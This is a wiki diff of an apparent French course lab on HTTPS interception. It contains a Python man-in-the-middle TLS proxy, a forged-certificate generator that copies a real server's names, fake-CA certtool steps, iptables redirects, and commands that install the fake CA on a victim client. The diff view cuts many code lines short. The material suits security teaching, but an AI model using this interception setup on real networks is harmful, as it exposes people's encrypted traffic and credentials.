secres:https-interception
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
secres:https-interception [2017/04/11 14:29] – orel | secres:https-interception [2024/03/18 15:06] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== Interception HTTPS ====== | ====== Interception HTTPS ====== | ||
- | Nous allons mettre en oeuvre le mécanisme d' | + | Nous allons mettre en oeuvre le mécanisme d' |
- | Les exemples ci-dessous sont écrits en Python : https:// | ||
+ | Considérons le réseau suivant : | ||
- | [[secres: | ||
+ | Client Web < | ||
- | ==== Client HTTPS ==== | + | === Proxy SSL === |
- | En guise d' | + | Voici le code de notre proxy SSL : |
- | $ ./httpsget www.python.org 443 | + | < |
- | + | #!/usr/ | |
- | ==== Client/Serveur Echo en SSL ==== | + | import socket |
+ | import ssl | ||
+ | import sys | ||
+ | import time | ||
+ | import datetime | ||
+ | import os | ||
- | Pour aller un peu plus loin, voici un exemple de client/ | + | BUFSIZE = 4096 |
- | $ ./ | + | # this certificate must be trusted by the client victim! |
- | | + | FAKE_CA_CERT = " |
- | + | FAKE_CA_KEY = " | |
- | | + | |
- | ==== Proxy SSL dans un LAN ==== | + | # a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA |
+ | FAKE_SERVER_CERT | ||
+ | FAKE_SERVER_KEY | ||
- | Voici le code de notre proxy SSL : {{: | + | # actual |
+ | CA_CERT = "ca-cert.pem" | ||
- | On considère le LAN suivant (192.168.0.0/ | + | ######### MISC ######### |
- | V ---- [LAN] ----- GW -----> Internet | + | def log_message(format, |
- | | | + | sys.stderr.write(" |
- | PROXY | + | |
- | avec : | + | ######### Main Serve Routine |
- | * V, la vic | + | |
- | * time (client HTTPS) ; | + | |
- | * PROXY, la machine du LAN qui héberge notre proxy SSL ; | + | |
- | * GW, la gateway vers Internet ! | + | |
- | Nous allons uniquement nous intéresser à l' | + | # handle one connection |
+ | def serve(clientconn, clientaddr, serveraddr): | ||
+ | (serverhost, | ||
+ | (clienthost, | ||
+ | # wrap client connection with SSL context | ||
+ | clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) | ||
+ | clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, | ||
+ | clientconnssl = clientcontext.wrap_socket(clientconn, | ||
- | PROXY$ sudo iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP | + | |
- | | + | |
- | | + | |
- | | + | |
- | PROXY$ sudo bash -c 'echo 1 > / | + | |
- | PROXY$ | + | serverconnssl = servercontext.wrap_socket(serverconn, |
- | | + | |
- | V$ route del default | + | |
- | V$ route add default gw @PROXY | + | |
- | V$ wget -4 --ca-certificate=ca.crt https://www.python.org | + | |
- | + | ||
+ | try: | ||
+ | serverconnssl.connect(serveraddr) | ||
+ | except ssl.SSLError as e: | ||
+ | log_message(" | ||
+ | clientconnssl.close() | ||
+ | return | ||
- | ==== Test du Proxy SSL en local ==== | + | # start talking in SSL/TLS |
+ | sys.stdout.write(" | ||
+ | buffer | ||
+ | sys.stdout.write(" | ||
+ | serverconnssl.sendall(buffer) | ||
+ | sys.stdout.write(" | ||
+ | buffer | ||
+ | sys.stdout.write(" | ||
+ | clientconnssl.sendall(buffer) | ||
+ | buffer | ||
+ | sys.stdout.write(" | ||
+ | clientconnssl.sendall(buffer) | ||
- | Pour tester en local notre Proxy SSL, le // | + | # close sockets |
+ | serverconnssl.close() | ||
+ | clientconnssl.close() | ||
+ | log_message('all connections closed') | ||
- | $ sudo groupadd noredirect | + | ######### Main Loop ######### |
- | $ sudo iptables -t nat -F | + | |
- | $ sudo iptables -t nat -A OUTPUT -m owner ! --gid-owner noredirect | + | |
- | -j REDIRECT --to-port 4444 | + | |
- | $ sudo sg noredirect ' | + | |
- | $ wget -4 --ca-certificate=ca.crt https:// | + | |
- | + | ||
- | ==== Génération d'un fake Certificat ==== | + | |
+ | def main(): | ||
- | $ certtool --generate-privkey --outfile ca.key | + | if len(sys.argv) != 4: |
- | | + | sys.stderr.write(" |
- | $ certtool --certificate-info --infile | + | sys.exit(1) |
+ | |||
+ | SERVERHOST = sys.argv[1] | ||
+ | SERVERPORT = int(sys.argv[2]) | ||
+ | PROXYHOST = '' | ||
+ | PROXYPORT = int(sys.argv[3]) | ||
+ | |||
+ | proxyaddr = (PROXYHOST, PROXYPORT) | ||
+ | serveraddr = (SERVERHOST, | ||
+ | |||
+ | # create proxy socket listening on PROXYPORT | ||
+ | proxysocket = socket.socket(socket.AF_INET, | ||
+ | proxysocket.setsockopt(socket.SOL_SOCKET, | ||
+ | proxysocket.bind(proxyaddr) | ||
+ | proxysocket.listen() | ||
+ | |||
+ | # main loop | ||
+ | log_message(' | ||
+ | log_message(' | ||
+ | |||
+ | while True: | ||
+ | try: | ||
+ | log_message(" | ||
+ | clientconn, clientaddr = proxysocket.accept() | ||
+ | serve(clientconn, | ||
+ | except KeyboardInterrupt: | ||
+ | log_message(" | ||
+ | proxysocket.close() | ||
+ | break | ||
+ | |||
+ | ######### Main Program | ||
+ | |||
+ | main() | ||
+ | </ | ||
+ | |||
+ | === Génération des faux certificats === | ||
+ | |||
+ | Commençons par générer un //fake CA// : | ||
+ | |||
+ | | ||
+ | $ certtool --generate-self-signed --load-privkey | ||
+ | |||
+ | Voici les réponses à donner strictement : | ||
* La plupart des champs peuvent rester vides. | * La plupart des champs peuvent rester vides. | ||
- | * Common name: CA | + | * Common name: FAKECA |
- | * The certificate will expire in (days): 255 | + | * The certificate will expire in (days): 255 |
* Does the certificate belong to an authority? (y/N): y | * Does the certificate belong to an authority? (y/N): y | ||
* Will the certificate be used to sign other certificates? | * Will the certificate be used to sign other certificates? | ||
+ | * CRL signing: y | ||
+ | * All other extensions: NO (required) | ||
- | $ certtool --generate-privkey --outfile fake.key | + | Pour afficher le contenu de son certificat : |
- | $ certtool --generate-certificate --load-privkey fake.key --outfile fake.crt --load-ca-certificate ca.crt \ | + | |
- | --load-ca-privkey ca.key | + | $ certtool --infile fake-ca-cert.pem -i |
- | $ certtool | + | |
+ | Générons maintenant le //fake// certifcat de notre serveur. | ||
+ | |||
+ | $ certtool --generate-privkey --outfile fake-server-key.pem | ||
+ | $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate | ||
+ | |||
+ | Voici les réponses à donner strictement : | ||
* La plupart des champs peuvent rester vides | * La plupart des champs peuvent rester vides | ||
- | * CN=www.python.org | + | * CN=nile.metal.fr |
- | * DNSName=www.pyhon.org | + | * DNSName=nile.metal.fr |
+ | * IP address=10.0.0.2 | ||
* The certificate will expire in (days): 255 | * The certificate will expire in (days): 255 | ||
* Will the certificate be used for signing (required for TLS)? (y/N): y | * Will the certificate be used for signing (required for TLS)? (y/N): y | ||
* Will the certificate be used for encryption (not required for TLS)? (y/N): y | * Will the certificate be used for encryption (not required for TLS)? (y/N): y | ||
+ | Vous pouvez également utiliser le script suivant pour générer automatiquent le //fake// certificat pour le serveur nile.metal.fr : | ||
- | ==== Documentation | + | ./ |
+ | <code python gen-fake-cert.py> | ||
+ | # | ||
+ | import socket | ||
+ | import ssl | ||
+ | import sys | ||
+ | import pprint | ||
+ | import OpenSSL | ||
+ | import time | ||
+ | import datetime | ||
+ | import os | ||
+ | import struct | ||
+ | |||
+ | # this certificate must be trusted by the client victim! | ||
+ | FAKE_CA_CERT = " | ||
+ | FAKE_CA_KEY = " | ||
+ | |||
+ | # a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA | ||
+ | FAKE_SERVER_CERT = " | ||
+ | FAKE_SERVER_KEY = " | ||
+ | |||
+ | ######### MISC ######### | ||
+ | |||
+ | def log_message(format, | ||
+ | sys.stderr.write(" | ||
+ | |||
+ | ######### Certificate Tools ######### | ||
+ | |||
+ | # cert input are assuming to be x509 | ||
+ | |||
+ | # save x509 cert file (PEM format) | ||
+ | def save_cert(cert, | ||
+ | certfile = open(path, " | ||
+ | certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
+ | certfile.close() | ||
+ | |||
+ | # save private key file (PEM format) | ||
+ | def save_key(key, | ||
+ | keyfile = open(path, " | ||
+ | keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, | ||
+ | keyfile.close() | ||
+ | |||
+ | def load_cert(path): | ||
+ | certfile = open(path, ' | ||
+ | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
+ | certfile.close() | ||
+ | return cert | ||
+ | |||
+ | def load_key(path): | ||
+ | keyfile = open(path, ' | ||
+ | key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, | ||
+ | keyfile.close() | ||
+ | return key | ||
+ | |||
+ | ######### Generate Fake Certificate ######### | ||
+ | |||
+ | def generate_fake_cert(cert, | ||
+ | |||
+ | # get CN & SAN from x509 cert | ||
+ | cn = cert.get_subject().CN | ||
+ | ext = None | ||
+ | for idx in range(cert.get_extension_count()): | ||
+ | ext = cert.get_extension(idx) | ||
+ | if(ext.get_short_name() == b' | ||
+ | # if DEBUG: print(" | ||
+ | |||
+ | # create a key pair | ||
+ | fakekey = OpenSSL.crypto.PKey() | ||
+ | fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, | ||
+ | |||
+ | # create a new x509 cert | ||
+ | fakecert = OpenSSL.crypto.X509() | ||
+ | fakecert.get_subject().CN = cn | ||
+ | fakecert.set_serial_number(int(time.time())) | ||
+ | fakecert.gmtime_adj_notBefore( 0 ) # not valid before today | ||
+ | fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years | ||
+ | fakecert.set_pubkey(fakekey) | ||
+ | fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions | ||
+ | |||
+ | # add subjectAltName X509 extension (SAN) | ||
+ | if ext: fakecert.add_extensions([ext]) | ||
+ | |||
+ | # set issuer and CA signature | ||
+ | fakecert.set_issuer(cacert.get_subject()) | ||
+ | fakecert.sign(cakey, | ||
+ | fakecert.sign(cakey, | ||
+ | |||
+ | return (fakecert, fakekey) | ||
+ | |||
+ | |||
+ | ######### Main Program | ||
+ | |||
+ | if len(sys.argv) != 3: | ||
+ | sys.stderr.write(" | ||
+ | sys.exit(1) | ||
+ | |||
+ | SERVERHOST = sys.argv[1] | ||
+ | SERVERPORT = int(sys.argv[2]) | ||
+ | serveraddr = (SERVERHOST, | ||
+ | |||
+ | # load CA cert & CA key (x509) | ||
+ | fakecacert = load_cert(FAKE_CA_CERT) | ||
+ | fakecakey = load_key(FAKE_CA_KEY) | ||
+ | |||
+ | sslservercert = ssl.get_server_certificate(serveraddr) | ||
+ | servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
+ | servercn = servercert.get_subject().CN | ||
+ | log_message(' | ||
+ | |||
+ | fakeservercert, | ||
+ | save_cert(fakeservercert, | ||
+ | save_key(fakeserverkey, | ||
+ | log_message(' | ||
+ | </ | ||
+ | | ||
+ | |||
+ | === Lancement du Proxy HTTPS === | ||
+ | |||
+ | Lancement du proxy : | ||
+ | |||
+ | iptables -t nat -F | ||
+ | iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444 | ||
+ | ./ | ||
+ | |||
+ | === Mise en oeuvre avec un client === | ||
+ | |||
+ | Sur le client : | ||
+ | |||
+ | wget -4 --ca-certificate=fake-ca-cert.pem https:// | ||
+ | |||
+ | Pour ajouter le //fake// CA dans le store du client, il faut faire : | ||
+ | |||
+ | cp ca-cert.pem ca-cert.crt # renommage | ||
+ | cp ca-cert.crt / | ||
+ | dpkg-reconfigure ca-certificates | ||
+ | | ||
+ | Puis, il suffit de faire : | ||
+ | | ||
+ | wget -4 https:// | ||
+ | | ||
+ | |||
+ | Video de démo par A. Guermouche : https:// | ||
+ | |||
+ | ==== Documentation ==== | ||
+ | |||
+ | Le code et la documentation du projet (version antérieure) sont ici : https:// | ||
+ | |||
+ | About HTTPS interception: | ||
* http:// | * http:// | ||
Line 108: | Line 325: | ||
* SNI : https:// | * SNI : https:// | ||
* SAN : https:// | * SAN : https:// | ||
- | | + | |
+ | About SSL in Python3: | ||
+ | |||
+ | * https:// | ||
+ | |||
+ | Misc: | ||
+ | |||
+ | * https:// | ||
+ | * [[secres: | ||
+ | |||
+ |
secres/https-interception.1491920957.txt.gz · Last modified: 2024/03/18 15:05 (external edit)